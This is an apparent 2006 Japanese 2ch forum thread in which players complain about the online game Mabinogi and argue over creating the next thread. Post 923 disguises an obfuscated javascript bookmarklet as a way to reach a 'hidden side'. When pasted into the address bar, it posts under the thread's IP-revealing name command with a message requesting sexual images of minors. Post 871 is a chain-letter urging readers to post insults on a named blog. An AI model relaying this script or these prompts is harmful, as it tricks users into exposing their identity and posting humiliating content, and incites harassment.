そんなところで毎日狩りしてれば飽きるって
ダンジョン2周?3周?やってられんわwww
地上?キャンプペナあるし移動遅いし歩くのにクリックで疲れるわ
そんなのどこもいっしょだろ?
一緒だからといって不満を言ってはダメだということも無いだろう。
パッド使えるぞ?
や り に く い が な
久しぶりに頑張ってるじゃん、応援してるよ。
・・・アンチの書き込みが1人しかいないと思ってるらしい。
ここまで出張して信者が煽りに必死だと、なんかだかね〜。
思わんばかりの って日本語として変じゃね
もともとあれなアンチをからかうというか全力で釣られるスレだったし
こんなアンチがいっぱいいるとは思いたくないなあ
飽きられちゃった(´・ω・`)
754 :
名無しオンライン:2006/02/18(土) 04:36:31.13 ID:+P7T3asf
普通のユーザーはToEやら無料ゲーへと去りました
おれならモンスターハンター2にいってるけどまだ飽きてない
あげちまったスマソ
TOEはベータからやってるが比べるのがバカらしくなるほど
マビ>TOE
だと思うよ。
やってみれば分かるけど、あんなのやるならコンシューマーのほうが断然いい
やっぱりコンシューマーからネットは無理が出る。
>>754 よくわかんないけど、マビノギも何も考えなければ無料だぜ。
無料でできることでは不満、になったときに、金を払うか、
別のゲームを選択するか、っていう分岐はあるだろうけど。
誰かアンチ役やれよ
んな暇あったら精錬あげるよ。
マビノギってシステムを知れば知るほど
RMマンセー廃人様いらっしゃーい
なのでイライラする
商売ですから・・・・・。
廃人様はマビのシステムじゃ満足できんだろ
763 :
名無しオンライン:2006/02/20(月) 02:23:45.87 ID:OdKujDxA
結婚とかがきもすぎる
マジレスするとマビのマウス操作縛りはマクロ対策の一環でもある
複数操作をサポートするコストとかも考えた上で、ライトユーザ向けのI/Fだけに絞ったりするもんだし
最近のメディアプレイヤとか市販アプリケーションソフトみたく、
ふにゃふにゃしたウィンドウにマウスでしか押せないボタンが付いてるのと同じようなもんだ
圧倒的な数で増え続けているライトユーザに的を絞ったほうが低コストで利益を得れる時代になってしまったんだよ…
CRTが駆逐されたように時代は移り変わってゆくのさ…orz
一行目だけ浮いてるけど、段落分け忘れただけです。はい('A`)
なかったことにするか、二行目の頭に「それに」とでもつけてオクラ
雰囲気だけ良さそうに見えて、中身スカスカだもんな。
戦闘も初めだけだし目新しいのスマクリ・AR・サンダー
一撃とかクリックゲームぽくなる見たいだし
恐ろしく作業な生産熟練上げ、上げたところでマトモニ作れる物無いし
RFオンラインの後に始めたから、ものすごく良く見えたが・・
転生の仕様が糞過ぎるな('A`)
Lv50で転生出来るとかになれば狩りする気もおきるんだが・・・
新規でやってる奴が一生追いつけないゲームなんて増えるはずがねーだろ
一番チャンはネトゲに向いてないと何度言えば
Lv50で転生できる仕様でもトップの廃人らの速度越えなきゃ一生追いつけないんだけどな
転生すればリアル時間経過だけでもある程度強くなれるしいつかはスキルも頭打ちになるし
むしろライトな人向けだと思うぞ
最強厨にはもっとチョンゲチョンゲしてるやつがお勧め
まぁどこに行っても最速組みに追いつくのは頭打ちの低いゲームじゃないと無理だよな
moeが騒がしくなった途端にageアンチ減ったなー
話がループしてきてるね
>>771 そうやってまたmoeVSマビの構造に持っていこうとする信On住人乙
>>766 サンダーはゴミだ。あんなモン使えるか。
775 :
名無しオンライン:2006/02/22(水) 06:04:57.92 ID:/95V4oYl
野良PTに行くと必ず俺TUEEEEEEEEEE!厨が自慢話で自分マンセーしてくる件について
アンチにまで見捨てられたか・・・
マビノギのおかげでMMOがつまらないと感じるようになりました
ある意味でマビノギやってよかったよ
生産が戦闘補助扱いだし
失敗がトレーニングに含まれている
強くなるほど不利になる高ランクトレーニング
制限ってのは工夫する余地を産む物だからいいとして
マビノギの制限は理不尽な方向に向いているんだよな
失敗で修練進むこと自体は歓迎すべきシステムだと思うけど
失敗必須ってのが解せんよなぁ。1、2回ならともかく数十回単位の失敗とか邪魔すぎ。
>>779 そんなことを言ってるんじゃないんだよ。それに製錬は1にしてある
よりよい物を作るためにランクアップするのが本当の目的なのに
エンチャ装備でわざわざ不器用になって失敗稼ぐとかおかしいだろ
>>781 そうなんだよ。成功埋めたのにまだ終わらないとか狂ってる
失敗がトレーニングになるってのは俺も悪くないとは思っているよ
783 :
名無しオンライン:2006/02/23(木) 13:37:11.32 ID:RbwSt/mW
<マビノギ ジェネレーション3 2月23日 アップデート内容>
●ダークナイトクエストの追加
パラディンスキルをダークナイトスキルに変更するダークナイトクエストが追加されます。
ダークナイト関連のスキルランクはパラディンスキル関連のランクを引き継ぎます。
●パラディン新規スキルの追加
パラディンの新規スキル3種とスキル取得の為のクエストが追加されます。
●パラディンランク制限解除
パラディンスキルのランク制限が解除されます。
●ラビバトルアリーナの追加
パラディンとダークナイトで対戦を楽しめる"ラビバトルアリーナ"が追加されます。
●バリ上級ダンジョンの追加
●キア上級ダンジョンの追加
●装備品等のアイテムの追加
・トルディハンター系セット
・ノルマンウォーリアアーマー系セット
・グレースアーマー系セット
・セリナハーフジャケットコート
・トルディモカシンブーツ
・ダスティンシルバーナイトアーマー系セット
・チークスーツ
・ゴシックベーシックスーツ
・ゴシックレースドレス
・オオカミローブ
・クマローブ
785 :
名無しオンライン:2006/02/24(金) 11:19:56.06 ID:BSzSi4Z5
中途半端な廃人推奨ゲーあげ
786 :
名無しオンライン:2006/02/24(金) 19:55:50.62 ID:6ki+Atx3
先人完全優位ゲームってマビの他にあったっけ?
その調子だ、頑張れ、頑張れ。
一部の信者から取れるだけ金を貪り取れればいいってことだよね
特にそこらへんは責める必要ないけど
スキルを1にした果てに満足できるゲーム内コンテンツが残ってるのこれ
ゲーム内コンテンツに飽きたらそこで止めればいいんじゃね
一生同じゲームやるわけじゃあるまいし
むしろ完全先人優位でないMMOをあげて欲しいような。
旧UOみたいに完成の早いゲーム意外は皆先人優位だろうにさ。
RO
早くROへ池
ギルドウォーズはMMOではないが完全に先人とのキャラの能力差はないらしい
先人優位→初心者お断り
先人との差無し→廃人が離れやすい
どっちにしろアンチは批判する。
てか対人はほとんど無いのに追い付く云々言うのが不思議。
アンチャッタブル
今
累計100と500を比べたら雲泥の差。
半年後
累計500と900なら一部ダンジョンを除けば差はでない。
廃人が中級魔法で俺TUEE!っとするのを眺めていればいい。
今、マビやってるんだけどバイトばっかで飽きちゃったよ!!!!
ウンコしたい
バイトは全部回数1にもどっちまったなぁ
バイトしなくても何とかやってく術はいっぱいあるお
後200だがんがれ
>>796 普通は900まで行くまえに引退すると思われ
ID:WkY+VEE8ご苦労
803 :
名無しオンライン:2006/02/28(火) 14:03:53.93 ID:2H3bpwa7
信者必死age
何すりゃイイのか分からず、人とすれ違っても話の一言もできず、戦闘で苦戦してても援助の手も無く。
なにこれ。
そもそもLv制かスキル制かすら不明。
>>804 ・話しかけろ。
・甘えるな。
・スキル制
ROの悪影響ってとこかな。
MMOわかってない初心者はマビノギに向いてないと思う。
ROでもやっててください。
806 :
名無しさん:2006/02/28(火) 14:22:05.56 ID:ixz5ZDdj
飽きたらレビューサイト見て新しいゲームさがしゃ良いじゃん。
>>804 どのMMOでも相手から離しかけてくるなんてやついねーだろ
居たとしてもなれなれしすぎたりな
わからなければ聞けばいいんじゃない?
急いでる人じゃなければ答えてくれるよ
ギルドはアニメとエロゲの話ばかり、俺はそう言うのはしない
本スレのキモイ馴れ合いについて行けなくて、二月で引退。
なんかROスレみたいになってもう駄目だ
と、追加で。
ログインすることが苦痛になって、何のために遊んでいるのか疑問に感じた。
結局ログインしてもある程度レベル上げてあとは放置。
もうこの先には何もないと感じた、みんな薄々感じているだろうけど
廃人様はどうなんだろうな
811 :
名無しオンライン:2006/02/28(火) 14:42:27.88 ID:/N46Akql
同士ハケーン
本スレに馴れ合ってるっ連中ってにゅ缶臭がしてついていけない
そのくせVIPを敵視してるしな
意外にも彩庵の日記がとどめを刺してくれた
やり込み要素が残るだけ
トップ廃人でもキャラをまだ成長させる余地はあるけど
ある程度までプレイしたらどこでも行けるようになって
一応の「完成」になっちゃうんだよな
既にこのゲームはクリアしたゲームのレベルを99にする作業となっていて
続ける理由はもうなくなっていた
2chなんて見なけりゃいいよ
ゲーム内でコミニュティ気づけば見る必要ないだろ
がんばれー
やることなくなったら、やりこみがつまらなくなったら他のゲームをやる
MMOだろうとコンシューマだろうと一緒のことだと思うんだがなぁ
なんかMMOってつまらないつまらない言いながら自分からやめようとしない人多いよね
やすくない金支払ってる実績とか家ゲーと違ってゲーム内フレとかいるからな
というわけで避難所になったわけだが
975まだ〜?
糞スレ埋め
立てられなかった模様
ID:sWh4leJvまだー?
そんなことより次からは避難所をしたらばのスレにしたほうがよくない?
あらあら
おっきしたみたい
828 :
前>>1000:2006/03/01(水) 13:33:08.92 ID:sWh4leJv
無理だった
↓頼む
最早解決済みか
指定なかったから先に宣言した995が有効だろう
したらばでもいいんだが建てる関係でIDが見えてた方がいいってのはあるかな
ここスレ保存数多いし、そのせいで必ず未使用スレがでてくるから
少しずつ有効利用していけばいいんじゃね?
スレ立つまで待とうという気が全然無いおまいらに乾杯
避難してきたお^^
>>834 同意だが踏み台してしまった。今は反省している
1000 名前:名無しオンライン[sage] 投稿日:2006/03/02(木) 13:50:27.65 ID:azhmZnUu
1000なら次スレ50が自キャラ晒し
ERROR:新このホストでは、しばらくスレッドが立てられません。
またの機会にどうぞ。。。
名無しオンライン (1)
ごめんね、お母さん役立たずでごめんね・・・。
>>840お願いします。
ここのか?
ここのらしい
ポイズン
まっはふみ
まっはかいひ
あらまあ
踏んでしまった
いってくる
お前らスレ速度速すぎス
っぽまいら!避難所潰れたら行き先が
でも、MOEスレに速度負けてるんだな・・・
ていうかおまえら加速しすぎwwwww
↓スレストッパー
なんか立ってたのでやめた
また重複か
乙といいたいが重複な上、避難先のスレ立て人とIDが違う件
3つもスレがたつところだった
危ないところだったね
まぁでもこのペースなら初めから2個建っててもすぐ消えそうだぜw
信者(・∀・)ニヤニヤ
最近ねむーだるー
ちゃんと食べてる?
栄養たりてないとだるく眠くなっちゃうよ
ピザは知らん
あとやる気がなくボケーっとしてることが多いときは、脳の軽障害の可能性もあるから注意してねミ☆
そのうち大きな血管が詰まってぽっくりいっちゃうかも(笑
867 :
名無しオンライン:2006/03/04(土) 14:39:36.12 ID:0LgRUPuU
ヲタゲーとして突っ走ってるな
その割には相変わらず盛り上がらないが。
避難所ホシュ
保守しなくても落ちないけどな
MoEの糞スレが一年とか生存してるような板ですから
実はたった今君に、呪いをかけたんだ。
十日後に君のOSがWindousMeにフォーマットされる。そんな呪いだ。
災難だと思って諦めてくれたまえ。
ただし一つだけ、呪いを解除する方法があるんだ。
ハ_ハ
((゚∀゚∩ 『氏ねよ糞チビめ☆』
ヽ 〈
ヽヽ_)
http://blog.goo.ne.jp/aout5636 上のAAをこの痛々しいブログのコメントに書き込むだけでいいんだ。簡単だろう?
健闘を祈るよ。
本スレのオタ共が痛すぎる
こいつらと同じゲームを遊ぶのはさすがにもう限界、今日で引退。
あーあ、時間無駄に使ったわ
>>872 1行目には激しく同意、俺も見るの止めた
ゲームは止めないけどなー。まぁお疲れさん
レベル制のゲームっていうか、いろいろやりたいのにAP足らなくておもしろくない
● mabinogi -マビノギ- コマンドー待機組622人 ●
463 :名無しオンライン[sage]:2006/03/06(月) 00:08:10.65 ID:P9UWE9JX
いいなー 上がクリスタルの形になってるポション瓶欲しいの、ちょうだい
● mabinogi -マビノギ- コマンドー待機組622人 ●
485 :名無しオンライン[sage]:2006/03/06(月) 00:20:09.49 ID:P9UWE9JX
いつも思うんだけどさ、アニメの話したい人は
それ専用のスレでやってくんないかな、ウザイよ
プププ
まだ、マビノギやってたのー きゃははきほーる
おまいはキホいいたいだけだろ!
879 :
名無しオンライン:2006/03/08(水) 16:56:05.61 ID:VOD9pTNx
で、終わっちゃった本当の理由は何だったの?
・ダークナイトが期待はずれ。
・先行組はカンストが進み、目標がなくなった
・ゴタゴタはあったけどMoEが見事復活
・ファンタジーアースやギルドウォーズ、FFXIIに吸われた。
882 :
名無しオンライン:2006/03/08(水) 18:27:48.39 ID:+cFE3gxr
後半はダウト!
_,,-'' ̄ ̄`-、
/ \
,/ \
/ ― ― ヽ
lヽ - 、 ! , _ |
|r――-、_⊥ ,――'-、 |,-,
|::::::::::::::::/ |ヽ:::::::::::::::|-|'イ!|
ト、__,,/: |: `、__,,/ ,|ソ/
.| 、_ j| _,、 ,|-'
| /lll||||||||||l`、 ,|
`i ,|||' ̄= ̄`|||、 / ト、
「|ヽ|ll||||||||||||||||| /i |::::\
/:::::\`!!||||||||||||!!' |::::::::\
/::::::::::::::`ー-、.._ i |::::::::::::::\
/:::::::::::::::::::::::::::::::::::`ー-、. |::::::::::
ハンツキー・ロムッテロ[Handski Romtteroo]
(1955〜 アメリカ)
885 :
(゚ω ゚) ◆JosoBYcWOU :2006/03/11(土) 20:34:06.63 ID:hrOTBZxC BE:403414867-
('A`)
(< ≡≡≡ スイー
避難避難
922は立てられなかったようだがどうする
非難
1000が立てにいった
890 :
(゚ω ゚) ◆JosoBYcWOU :2006/03/11(土) 20:35:06.43 ID:hrOTBZxC BE:172893029-
●持ちの漏れが立てようか?(゚ω ゚)
宣言してるし1000が立てるのか?
おもったんだけど、
>>883みたいなAAってどこにあるの?
詳細kwsk
スレ番ちげえよw
ああ〜注意してたのに…
897 :
名無しオンライン:2006/03/12(日) 01:03:28.65 ID:KbkXrclp
点検じゃ意味ネwww
898 :
名無しオンライン:2006/03/12(日) 01:03:53.94 ID:+veGZ+zl
俺には凄く仲が良い友達が居て二人でポケモンもよくやっていた。
俺はゼニガメを使いそいつはそれに対抗するようにフシギダネを使ってた。
その子はいつも俺より上の立場に立ちたがった。
だから友達と会うたびゼニガメとフシギダネのタイマンをさせられていつもゼニガメは干からびてた
そんなフシギダネをずっと見てたから、俺はちょっと嫌なモンスターだって思ってた
ある時その友達が転校することになった。放課後のグラウンドで最後のタイマン
悔いのないように戦ったけどやっぱりゼニガメは負けた
そんな姿を見て友達は笑ってた「お前は俺に勝てないんだよ」って言って
俺は最後まで勝てなかったことが悔しくて泣いた、大声で
そしたら今さっき笑ってた友達も何故か泣いた、あいつは勝ったのに
二人で泣いた後、その子は俺にトレードを持ちかけた
「お前は本気を出せばもっと強い。俺は知ってる」そういって託されたのはレベル62のフシギバナ
俺は悔しかったからお礼も言えなかったが何かしなきゃいけない気はして
今まで大事に育て上げたレベル67のカメックスをあげた
あのカメックスはその後どうなったのか俺は今でも時々考える
あの子がその後どんな人生を歩んだのか、今の俺は知らない・・・
だがあの子に最後にもらったフシギバナは今、あの頃の苦く甘い思い出と一緒に
100という数字を抱いて静かに眠っているもちろん飛び出したHPバーのままで・・・
899 :
名無しオンライン:2006/03/12(日) 01:04:09.41 ID:+bp24aW1
ここが避難所か?
誘導なかったがここでいいんだよな?
ここ避難所だよな?
誰も立てないなら俺がレス番指定してやるがどうする?
うn
避難所自体の次スレも希望したいかも
ksk
はいれた
zusa-
ぜんぜん正常にログインできねーよwwwww
公式ふざけんなあ!
結局、点検とか出て出来ない訳で・・・
流石根糞、もう寝るとするか
立ててくる・・・ってたってるのか
>>908 スレ立て厨っぽいな
そこ避難所にしておく?
一応、テンプレもあるしスレ番も合ってるし問題無さそうだけど
とか言ってる間にメンテが終わって人がいなくなった予感
避難所は立てる必要ないだろ
>>870を再利用すればいい
>>898 感動した
冷凍ビーム覚えりゃフシギバナとか余裕だけどなwww
920 :
名無しオンライン:2006/03/12(日) 12:07:48.38 ID:iLq6prV8
完全に終わってしまった…
921 :
名無しオンライン:2006/03/12(日) 12:08:19.07 ID:HH4QO5Ne
922 :
名無しオンライン:2006/03/12(日) 12:08:52.12 ID:HH4QO5Ne
815 :ネトゲ廃人@名無し :2006/03/12(日) 09:50:29 ID:???
>>806 同意。
前から思っていたが、襟鯖の奴らは大嫌いだ。
何かよく分からんが、とにかく他鯖の評価を下げようとしてる奴がいるんだよな・・・
そんなに自分の鯖がNo.1じゃないと気がすまないのかねぇ?
816 :ネトゲ廃人@名無し :2006/03/12(日) 09:54:42 ID:???
まぁ・・これはマビに限ったことじゃないな。MoEだってそうだった。
どのMMO行っても必ず鯖に拘る奴がいるな。
923 :
名無しオンライン:2006/03/12(日) 12:28:31.88 ID:cOZXrQH7
18歳未満の使用は止めてください。
自分で責任が取れる方のみ入力して裏の方へアクセスして下さい。
(準備)
2ch専用ブラウザを使用している人は、
IEなどの一般的なブラウザでどこかのスレを開いておく。
(どこのスレでも可能だが、板ではなくスレを開くこと!)
1、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414745
2e76616c75653d275c75333045445c75333045415
c75373533425c75353043465c75333034465c75333036305c7533
3035355c7533303434273b7375626d69742e636c69636b28293b7
d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。
2、
改行を外して1行にする。
3、
1行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。
924 :
名無しオンライン:2006/03/12(日) 12:29:46.16 ID:C5dy7Yan
>>924 そう言わずに、暇なんだろうし付き合ってくれよwww
24 :名無しオンライン[sage]: 2006/03/12(日) 12:26:00.09 ID:C5dy7Yan
ほんとにこのスレって終わってるよな。
どんなネタ投下してもクソの馴れ合いにしか反応しないんだもん。
マビノギも人が減っていって当然。
ま、馴れ合い厨には何言っても無駄なんだけどね。
彼らはそれを悪いことだと思わないのだから。
>>925 事実を述べただけ。
誤爆したからって顔真っ赤にしなくてもいいよw
>>926 おいおいw
せっかくアンチスレに書き込んだのにageないでどーすんだよwww
(・∀・)ニヤニヤ
微妙に進んでるからまたスレ立て失敗したのかとおもた
ビップーデ・ヤレーって人が居たよね昔
932 :
名無しオンライン:2006/03/13(月) 22:43:21.09 ID:qqvRoE3I
a
933 :
名無しオンライン:2006/03/14(火) 00:39:07.70 ID:ykirva0C
b
z
本スレ1000にチョト吹いた
1001とか言われてもなあ。
どうしようか。
938 :
990:2006/03/14(火) 00:42:59.02 ID:sw1iayJ/
うはwwwwwwwww1001には頼めねwwwwwwwwwwwwww
↓改めてよろ
> 1000 :990 :2006/03/14(火) 00:42:18.39 ID:sw1iayJ/
> 無理だた
>
> ↓よろ
ワラタw
チャレンジしてきていいかい?
いってら
バロスwwwwwww
>>前スレ1000
ちょwww
>>939 次スレは648だ、よろしく
聖堂合体エンデリオンとラサにキャンディーあげてみようっと。
あー・・・もう1社受かろうなんて甘かったわけね
>>939 宜しくお願いします。事の発端は俺orz
もう今日はティン諦めて寝るお・・・
あぶね、重複するとこだった('A`)
空気読まずに長文
生産スキルがあるから生産者としてやっていこうにも
必要な材料はダンジョンにあったり、モンスターのドロップだったりで
ダンジョンはだいたい一部屋ごとに出てくるモンスターを倒して
クリアしていくもので(スイッチ部屋はスルーすることもできなくはないが)
結局は生産者といえどもモンスターと戦わねばならないし
それに必要なスキルも取得していかなければならない。
ということは、戦闘スキルに特化した人々に生産に必要な材料を
ダンジョンから取って来てもらい、それを取引すれば無理に戦うことなく
生産者としてやっていけるわけなんだが、今のところ生産者が作った
あらゆるものについて生産者が利益を得ることは皆無と言っていいほど。
これでは材料を買い取るお金は延々とバイトするか、聖堂バイトで得た
祝福ポーションを売るか、フィールドでやはりモンスターと戦って魔符を
集めるくらいしかお金を得る術はなくなる。ただしバイトはゲーム内時間
1日の中でできるものが限られているし、魔符を集めるにしてもそう簡単に
集まるものでもない。そしてさらに、ほしい材料がちょうど露天に売られている
保障もない。
やはり生産スキルはステータスアップなどによる戦闘補助目的や、
ただの自己満足の範囲を越えるものではない。
ゲームの中で循環しない生産なんて生産といえるのか。
何がファンタジーライフだ、そこに生活感など微塵も無い
ただただダンジョンに潜りに行ってレベル上げするだけの
ディアブロそのものじゃないか。脳筋は幸せ者だ。
950 :
名無しオンライン:2006/03/14(火) 08:49:32.30 ID:N7kxtT3l
せめて戦闘が楽しければ現状でも満足できるんだが・・・
さすがに飽きてきた
何ヶ月前からこう言ってるかもう分からんが
ネトゲとか結局知り合いと話すって目的しか残らんよ
ゲームとしてなら家庭用のほうが出来がいいにきまってるしな
UOだけ除いとくよ
といいつつマビしてるけどな
ネトゲにそんなに期待してない
でも、な。
生産もあって料理とかキャンプとかできて
音楽演奏もあって・・・・それがきっかけで話したりみんなでPT組んだりして
ゆっくり楽しもう。
と、当初俺が勝手に想像してたマビノギとは程遠くなってしまったわけで。
そういいつついまだ俺はマビしてるけど
料理もキャンプも、一時期の需要はなくなった。
生産も音楽も戦闘の効率のため。
なんでこうなったんだろう。どこかで間違ったんだろうな。
ヒント
ゆっくりすることにすぐ飽きるから
>>952 「ゆっくりする事」より「効率」を選んだ
もしくは
「ゆっくりする事」より「効率を選んだ仲間」を選んだ
956 :
名無しオンライン:2006/03/14(火) 18:03:07.89 ID:USPKdeJn
飽きてる人多いのは先人に絶対追いつけない糞システムのせいだと思う
単純にやることが無いからだと思うが・・・
ウサギとカメの話嫁
一応たってるからテンプレ待ちだな
まあ、埋めとくか
追いつけないとつまらないと思う人の気がしれんなぁ。MOEやってるやつらの中にも多いけどさ。
その時点で自分が楽しめればいいんだけどなぁ
追いつけないと何が困るんだろうな
パラディンとダークナイトの対戦か?
それよりもダンジョンなどで敵2匹以上にタゲられると途端に難易度が
はね上がるからそこでつまづいてやる気なくしていったわ自分は。
1対1でも敵のスキルが何か判断してこっちもそれに合わせた
行動やスキルの先行入力が求められて慣れるまでは結構シビアだと
思うのに、多対1(特にゴブリンやゴブリンアーチャーなどの近距離攻撃と
遠距離攻撃の組み合わせ)になると凌げるかどうかはだいたい運みたいな
感じになってしまう。
このゲームは敵の攻撃力が高いので1度のミスも許されない。
PT組んで行くでもなきゃやってらんない
そこはパーティ組んで行くべきだと思うんだ。
>>963 PT組まなければやってられないならPT組んで行けば良いじゃない。
先人に追いつけないなんて何処のゲームもいっしょだろ
底の浅いMoEくらいじゃね?すぐ追いつける(カンストする)のは
つーかそんなに追いつきたいか?負けず嫌い?
飽きた理由にも色々あるな〜
俺はバイトのだるさとそれに伴うインターフェースの糞さだ。
十字キー移動も出来ないとかLine2以下だろ。
これ作った奴はプレイする側のことまったく考えてないかマゾかのどっちかだな。
染色・蜜蝋 5000円で売り、10キャラで週40万 か・・
お金には困ることなくマッタリ出来そうだと
30キャラ一気に増やした俺は、初期投資思うと辞めるに辞められない。
1個5000円ってどんな悪徳業者さんですか?
30キャラも作れたっけ?2アカ?
大量に売りに出したら相場がた落ちで売れなくなるな。まぁ妄想乙
梅
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1001 :
1001:
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 ̄ll ]-、と/~ ノ )
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もう1001かよ \
さっさと次スレに移動するか… \
スレタイにゲーム名がないと困るから \
スレッドタイトルにはゲーム名いれてほしいな… \